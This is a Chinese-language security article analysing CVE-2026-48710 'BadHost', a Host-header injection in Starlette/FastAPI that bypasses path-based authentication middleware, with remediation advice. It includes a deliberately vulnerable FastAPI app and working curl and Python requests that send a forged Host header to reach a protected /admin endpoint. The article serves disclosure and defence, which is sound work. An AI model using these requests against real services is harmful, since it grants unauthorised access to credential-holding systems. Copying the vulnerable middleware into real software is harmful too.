Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-48710 BadHost 深度分析:Starlette/FastAPI/MCP 主机头路径注入认证绕过

导语

2026 年 5 月,安全公司 X41 D-Sec 在 OSTIF 赞助的审计中披露了一个影响深远的 Python Web 框架漏洞——CVE-2026-48710,代号 BadHost。问题虽小,却像一颗地基裂缝:Starlette 在重建 request.url 时,直接信任了客户端传来的 Host 头,没有验证其合法性。结果,认证中间件看到的是一条“安全路径”,而路由器执行的却是一条“受保护路径”。

由于 Starlette 是 FastAPI 的底层,FastAPI 又是当今 Python AI 基础设施的事实标准(vLLM、LiteLLM、Text Generation Inference、大量 MCP Server 都基于它),这个漏洞的波及面被迅速放大。X41 的扫描发现,互联网上已有大量可远程触发的生产系统,涉及邮件、数据库、工业控制等敏感场景。

本文将从技术原理、最小复现、真实影响、修复与防御四个维度,帮你彻底理解 BadHost。

一、漏洞概述

属性
CVE 编号CVE-2026-48710
代号BadHost
影响组件Starlette(FastAPI 底层)
影响版本>= 0.8.3, < 1.0.1
修复版本>= 1.0.1
CVSS v3.16.5(厂商)/ 7.0(X41 评估)
漏洞类型输入验证缺失 → 认证/授权绕过
CWECWE-444 / CWE-1289
攻击向量网络,无需认证,无需用户交互

1.1 为什么叫 BadHost

问题的核心在 Host 头。HTTP/1.1 请求必须携带 Host,告诉服务器要访问哪个虚拟主机。Starlette 用这行头部与请求路径拼接,重新构建出完整的 request.url

python
request.url = URL(f"{scheme}://{host}{scope['path']}?{query}")

如果 Host 头包含 /?# 等字符,重建出的 URL 就会“错位”:request.url.path 不再等于真实请求路径 scope["path"]。而 Starlette/FastAPI 的路由器以真实路径为准,中间件却以 request.url.path 为准。认证层与路由层对同一条请求产生了解析不一致,于是绕过发生。

二、技术原理:一条请求,两条路径

2.1 正常情况

假设一个 FastAPI 服务:

python
from fastapi import FastAPI, Request

app = FastAPI()

@app.get("/admin")
async def admin(request: Request):
    return {"path": request.url.path, "scope_path": request.scope["path"]}

@app.get("/public")
async def public():
    return {"msg": "ok"}

正常访问 GET /admin

text
Host: api.example.com

request.url.path      -> /admin
request.scope["path"] -> /admin

2.2 畸形 Host 注入

攻击者发送:

text
GET /admin HTTP/1.1
Host: api.example.com/public?x=

Starlette 拼接后得到:

text
request.url      -> https://api.example.com/public?x=/admin
request.url.path -> /public
request.scope["path"] -> /admin

此时:

  • 路由器看到 scope["path"] == /admin,于是执行 admin 处理函数。
  • 认证中间件看到 request.url.path == /public,误以为这是公开路径,跳过认证。

结果:攻击者无需任何凭证,直接访问到 /admin

2.3 架构层面的文字图

text
客户端请求
    GET /admin
    Host: api.example.com/public?x=


    ASGI 服务器(Uvicorn/Gunicorn)
         │  解析 HTTP 行,得到 scope["path"] = /admin

    Starlette 路由层
         │  按 scope["path"] 匹配 /admin

    认证中间件(基于 request.url.path)
         │  request.url = https://api.example.com/public?x=/admin
         │  request.url.path = /public  ← 被误判为公开路径

    认证通过,放行


    admin 处理函数执行(真实目标)

这就是 BadHost 的本质:请求的真实路径与中间件看到的路径不一致。它不是 Starlette 路由错了,而是中间件用于决策的“路径”被 Host 头污染了。

三、影响面:为什么 AI 基础设施特别危险

Starlette 每周下载量约 3.25 亿次。它不直接面向用户,但支撑着 FastAPI 生态。FastAPI 又支撑着:

  • LLM 推理服务:vLLM、Text Generation Inference、OpenAI-compatible Proxy
  • LLM 代理网关:LiteLLM、BentoML、LangServe
  • MCP Server:大量基于 FastAPI/Starlette 的 MCP 服务器实现
  • Agent 框架与评估平台:Mastra、CrewAI、Agent Gateway 等

3.1 MCP 场景为什么高危

MCP Server 通常保存高权限凭证(OAuth Token、API Key、SSH 密钥、云访问密钥),并代理 AI Agent 访问外部系统。MCP 规范要求暴露无认证的 OAuth discovery 端点,这为 BadHost 提供了稳定的利用入口:攻击者可以先构造一个 Host 注入请求,绕过认证,再调用敏感工具。

X41 的扫描结果触目惊心:

  • 生物制药临床试验数据库
  • 企业邮件系统完整访问权限
  • AWS 云基础设施拓扑
  • 身份验证公司实名数据
  • 堡垒机后的工业设备 SSH 入口

一个 Web 框架的“小漏洞”,因为处于 AI 权限链条的咽喉位置,变成了系统级风险。

四、最小复现:用 FastAPI 验证 BadHost

4.1 漏洞环境

python
# vuln_app.py
# 依赖:pip install fastapi==0.115.0 uvicorn
# Starlette 版本 < 1.0.1

from fastapi import FastAPI, Request, HTTPException

app = FastAPI()

# 模拟“基于路径的认证中间件”:公开路径放行,其他路径需认证
@app.middleware("http")
async def path_based_auth(request: Request, call_next):
    public_paths = {"/public", "/health", "/openapi.json"}
    if request.url.path in public_paths:
        return await call_next(request)
    raise HTTPException(status_code=403, detail="Forbidden")

@app.get("/public")
async def public():
    return {"msg": "public"}

@app.get("/admin")
async def admin():
    return {"msg": "admin secret"}

启动:

bash
uvicorn vuln_app:app --host 0.0.0.0 --port 8000

4.2 正常请求被拦截

bash
curl -i http://127.0.0.1:8000/admin
# HTTP/1.1 403 Forbidden

4.3 利用 Host 注入绕过

bash
curl -i http://127.0.0.1:8000/admin \
  -H "Host: 127.0.0.1/public?x="
# HTTP/1.1 200 OK
# {"msg":"admin secret"}

注意:某些反向代理(如 Nginx、Cloudflare)会拒绝非标准 Host 头。攻击者可改用 X-Forwarded-Host 或直连后端服务。BadHost 扫描器支持 Host / X-Forwarded-Host 双模式。

4.4 Python 复现脚本

python
import requests

url = "http://127.0.0.1:8000/admin"

# 正常请求:403
r = requests.get(url)
print("normal:", r.status_code, r.text)

# Host 注入:200
r = requests.get(url, headers={"Host": "127.0.0.1/public?x="})
print("badhost:", r.status_code, r.text)

4.5 修复后的行为

升级依赖:

bash
pip install "starlette>=1.0.1" "fastapi>=0.116.0"

再次发送畸形 Host 请求,Starlette 会拒绝非法字符并回退到 scope["server"],无法再通过 Host 头篡改路径。

五、修复方案与防御清单

5.1 立即行动

  1. 升级 Starlette 到 1.0.1+,同时升级 FastAPI 到兼容版本。不要只升级顶层包,依赖树可能仍锁定旧版 Starlette。
bash
pip install --upgrade "starlette>=1.0.1"
# 检查完整依赖树
pipdeptree | grep starlette
  1. 重新部署所有容器、虚拟环境和 bundlepip list 只显示当前环境,vendored 或打包的 Starlette 需单独更新。

5.2 架构层面加固

  • 前端加反向代理:Nginx、Caddy、Traefik 等 RFC 合规代理会校验并规范化 Host 头,在入口层就消除攻击向量。
  • 避免基于路径的认证中间件:认证应绑定到端点本身,而非“路径是否公开”。使用 FastAPI 的 Depends()Security()requires() 装饰器。
  • **必要时使用 scope["path"]**:如果中间件必须做路径判断,使用不可被 Host 头篡改的 request.scope["path"]`。
python
# 安全写法:用 scope["path"]
async def safe_auth(request: Request, call_next):
    public_paths = {"/public", "/health"}
    if request.scope["path"] in public_paths:
        return await call_next(request)
    raise HTTPException(status_code=403, detail="Forbidden")

5.3 检查清单

text
□ 运行 pip list | grep starlette,确认版本 >= 1.0.1
□ 检查所有 requirements.txt / pyproject.toml / poetry.lock 中 Starlette 版本
□ 重新构建并部署容器镜像
□ 检查中间件是否使用 request.url.path 做安全决策
□ 在入口网关验证 Host 头合法性
□ 对 FastAPI/Starlette 服务运行 badhost.org 扫描器
□ 监控异常 Host 头或 X-Forwarded-Host 请求日志

六、总结

CVE-2026-48710 BadHost 是一个典型的“基础设施层小漏洞,系统级影响”案例。它提醒我们:当 AI Agent、MCP Server、LLM 代理网关开始持有真实世界权限时,任何底层框架的输入校验缺陷都可能被放大成灾难。

修复不复杂:升级 Starlette、改认证写法、加反向代理。但前提是先意识到风险存在。如果你的团队正在使用 FastAPI 构建 AI 服务,请立即检查依赖版本并运行自查。

参考资料

上次更新于: